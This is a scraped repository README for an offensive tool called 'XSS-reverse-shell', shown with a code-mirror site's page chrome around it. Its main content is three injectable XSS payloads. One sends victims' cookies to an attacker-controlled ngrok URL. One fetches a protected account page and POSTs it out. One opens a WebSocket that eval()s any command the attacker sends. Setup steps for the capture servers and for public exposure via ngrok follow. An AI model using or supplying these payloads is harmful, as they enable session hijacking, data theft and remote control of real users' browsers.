XSS-reverse-shell

KO | EN

gitlite — search

#javascript #hacktoberfest #react #ai #typescript #llm #go #android #rust #linux #macos #nodejs #security #openai

XSS-reverse-shell

(★ 10)

An XSS reverse shell to control any website remotely using web sockets, along with an HTTP server to capture data

XSS-reverse-shell 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

## info
http server capture user data by either sending the data in a query or in the body.

#### Capture user cookies ####

```js
  <script>
      fetch(`https://NGROK-URL?cookie=${encodeURIComponent(document.cookie)}`)
  </script>
```

#### Capture protected page or data ####
```js
  <script>
      fetch('/account)
          .then(p => p.text())
          .then(t =>
            fetch('https://NGROK-URL', {
              method: "POST",
              headers: { 'Content-Type':'application/json' },
              body: JSON.stringify({p:t})
            })
         ) 
  </script>
```

#### reverse shell connection to the application ####
> > whenever it recieve a message its going to execute it!
```js
  <script>
     s = new WebSocket('wss://NGROK_URL')
     s.onmessage = e => eval(e.data)
  </script>
```

_____________________________

### Running the servers

The first step is to install depencencies:

```bash
npm install
```

Then you can run the regular HTTP server (CORS enabled):

```bash
npm run http
```

Or the websocket server:

```bash
npm run ws
```

_____________________________

### HTTPS/WSS/External access

You can use ngrok to connect via HTTPS, WSS or externally without changing any configuration.
https://dashboard.ngrok.com/get-started

Once it's installed, you can then expose the HTTP server:

```bash
ngrok http 8000
```

Or the Websocket server:

```bash
ngrok http 8080
```

_Just use wss://NGROK_URL  instead of https://NGROK_URL for wss connections_
<br>
if you dont want to use ngrok you can host them on heroku or vercel but insted of console.log write to a log file

XSS-reverse-shell

XSS-reverse-shell 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

XSS-reverse-shell

XSS-reverse-shell 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README